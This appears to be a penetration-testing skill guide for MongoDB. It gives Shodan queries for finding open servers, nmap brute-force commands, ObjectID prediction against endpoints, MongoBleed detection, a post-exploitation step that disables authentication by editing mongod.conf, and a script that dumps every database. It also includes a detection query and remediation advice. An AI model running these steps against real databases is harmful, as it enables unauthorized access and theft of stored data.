MongoDB Security Assessment Skill

A comprehensive skill for authorized MongoDB penetration testing and security assessment.

⚠️ Authorization Required

Only use these techniques on systems you own or have explicit written authorization to test. Unauthorized access to databases is illegal.

Quick Start

# Basic enumeration
nmap -sV --script "mongo* and default" -p 27017 <target>

# Check for authentication requirements
nmap -n -sV --script mongodb-brute -p 27017 <target>

# Test MongoBleed exposure (detection only)
python3 scripts/mongobleed_detect.py --host <target>

Workflow Overview

1. Enumeration - Discover MongoDB instances and gather information
2. Authentication Testing - Check for default/no-auth access
3. Vulnerability Assessment - Test for known vulnerabilities
4. Data Access Testing - Verify what data is accessible
5. Reporting - Document findings

---

1. Enumeration

Manual Enumeration with Python

Use the

scripts/mongodb_enum.py

script for comprehensive enumeration:

# Basic server info
python3 scripts/mongodb_enum.py --host <target> --port 27017 --info

# List all databases and collections
python3 scripts/mongodb_enum.py --host <target> --port 27017 --list-dbs

# Full enumeration (requires auth if enabled)
python3 scripts/mongodb_enum.py --host <target> --port 27017 --full

Manual Python Connection

from pymongo import MongoClient

# Connect without auth (common default)
client = MongoClient('mongodb://<host>:<port>/')

# Get basic server info
print(client.server_info())

# If admin access available
admin = client.admin
admin_info = admin.command("serverStatus")

# List all databases
cursor = client.list_databases()
for db in cursor:
    print(f"Database: {db['name']}")
    print(f"Collections: {client[db['name']].list_collection_names()}")

MongoDB Shell Commands

# Connect to MongoDB
mongo <HOST>:<PORT>/<DB>
mongo <database> -u <username> -p '<password>'

# Navigation commands
show dbs                    # List all databases
use <db>                    # Select database
show collections            # List collections in current DB

# Query commands
db.<collection>.find()      # Dump all documents
db.<collection>.count()     # Count records
db.current.find({"username":"admin"})  # Find specific documents

Nmap Enumeration

# All MongoDB scripts
nmap -sV --script "mongo*" -p 27017 <target>

# Default configuration check
nmap -sV --script "mongo* and default" -p 27017 <target>

# Brute force check
nmap -n -sV --script mongodb-brute -p 27017 <target>

Shodan Reconnaissance

# All MongoDB servers
"mongodb server information"

# Fully open (no auth)
"mongodb server information" -"partially enabled"

# Partially enabled auth
"mongodb server information" "partially enabled"

---

2. Authentication Testing

Check for No-Auth Access

MongoDB often runs without authentication by default:

# Try connecting without credentials
mongo <HOST>:<PORT>

# If successful, you have unauthenticated access
show dbs

Check Configuration Files

If you have filesystem access, check the MongoDB config:

# Check if authentication is disabled
grep "noauth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#"

# Check if authentication is enabled
grep "auth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#\|noauth"

Brute Force Testing

# Nmap brute force script
nmap -n -sV --script mongodb-brute -p 27017 <target>

# With wordlist
nmap -n -sV --script mongodb-brute --script-args userdb=users.txt,passdb=pass.txt -p 27017 <target>

---

3. ObjectID Prediction (IDOR Testing)

MongoDB ObjectIDs are 12-byte hexadecimal strings with predictable structure:

5f2459ac9fa6dc2500314019
││││││││││││││││││││││││
│││││││││││││││││││││└─ Counter (3 bytes)
│││││││││││││││││││└──── Process ID (2 bytes)
││││││││││││││││└─────── Machine ID (3 bytes)
│││││││││││││└────────── Timestamp (4 bytes)

ObjectID Structure

1. Timestamp (4 bytes): Unix timestamp in seconds
2. Machine ID (3 bytes): Unique identifier for the machine
3. Process ID (2 bytes): MongoDB process ID
4. Counter (3 bytes): Incremental counter

Testing for IDOR

Use the

scripts/objectid_predict.py

script:

# Generate predictable ObjectIDs from a known ID
python3 scripts/objectid_predict.py --base-id 5f2459ac9fa6dc2500314019 --count 1000

# Test against a target endpoint
python3 scripts/objectid_predict.py --base-id 5f2459ac9fa6dc2500314019 --test-url "https://api.example.com/user/{id}"

Manual Testing Approach

1. Create an account and capture the ObjectID
2. Use the prediction tool to generate ~1000 probable IDs
3. Test each ID against the target endpoint
4. Look for valid responses indicating IDOR vulnerability

---

4. MongoBleed (CVE-2025-14847) Assessment

Vulnerability Overview

MongoBleed is a memory disclosure vulnerability affecting MongoDB 3.6–8.2 when zlib compression is enabled. It allows unauthenticated attackers to read uninitialized heap memory.

Affected Versions

• 3.6.x (all)
• 4.0.x (all)
• 4.2.x (all)
• 4.4.0–4.4.29
• 5.0.0–5.0.31
• 6.0.0–6.0.26
• 7.0.0–7.0.27
• 8.0.0–8.0.16
• 8.2.0–8.2.2

Detection Script

# Check if target is potentially vulnerable
python3 scripts/mongobleed_detect.py --host <target> --port 27017

# Full detection with version check
python3 scripts/mongobleed_detect.py --host <target> --port 27017 --check-version

Manual Detection

// Check if zlib compression is enabled
db.adminCommand({getParameter: 1, networkMessageCompressors: 1})

// If response includes "zlib", the server may be vulnerable

Exposure Requirements

1. Server version in vulnerable range

2. zlib

   compression enabled in

   net.compression.compressors

3. Network access to MongoDB port (27017/27018)
4. No authentication required for exploitation

---

5. Post-Exploitation

If Root Access is Available

# Modify MongoDB config to disable authentication
echo "noauth = true" >> /etc/mongod.conf

# Restart MongoDB
systemctl restart mongod

# Now connect without credentials
mongo localhost:27017

Data Exfiltration

from pymongo import MongoClient
import json

client = MongoClient('mongodb://<host>:<port>/')

# Dump all databases
for db_name in client.list_database_names():
    db = client[db_name]
    for collection_name in db.list_collection_names():
        collection = db[collection_name]
        data = list(collection.find())
        # Save to file
        with open(f"{db_name}_{collection_name}.json", "w") as f:
            json.dump(data, f, indent=2, default=str)

---

6. Detection & Monitoring

Server-Side Detection

Watch for high-velocity connections (potential MongoBleed probing):

-- Cortex XQL query for high-velocity MongoDB connections
dataset = xdr_data
| filter event_type = ENUM.NETWORK
| filter lowercase(actor_process_image_name) in ("mongod", "mongod.exe")
| filter action_network_is_server = true
| filter action_remote_ip not in (null, "")
| filter incidr(action_remote_ip, "10.0.0.0/8") != true and
        incidr(action_remote_ip, "192.168.0.0/16") != true and
        incidr(action_remote_ip, "172.16.0.0/12") != true
| filter action_network_session_duration <= 5000
| bin _time span = 1m
| comp count(_time) as Counter by agent_hostname, action_remote_ip, _time
| filter Counter >= 500

Indicators of Compromise

• Spikes in inbound connections to mongod
• Short-lived connections from single IPs
• Unusual query patterns
• Failed authentication attempts

---

Reporting Template

# MongoDB Security Assessment Report

## Target Information
- Host: <target>
- Port: 27017/27018
- Version: <detected version>

## Findings

### Authentication
- [ ] No authentication required
- [ ] Weak credentials found
- [ ] Brute force vulnerable

### Vulnerabilities
- [ ] MongoBleed (CVE-2025-14847) - <status>
- [ ] ObjectID prediction - <status>
- [ ] Default configuration - <status>

### Data Exposure
- Databases accessible: <count>
- Collections accessible: <count>
- Sensitive data found: <yes/no>

## Recommendations
1. Enable authentication
2. Update MongoDB to latest version
3. Disable zlib compression if not needed
4. Implement network segmentation
5. Enable monitoring and alerting

---

References

• MongoDB Security Documentation
• CVE-2025-14847 (MongoBleed)
• MongoDB ObjectID Specification
• Unit 42 – MongoBleed Threat Brief
• MongoBleed PoC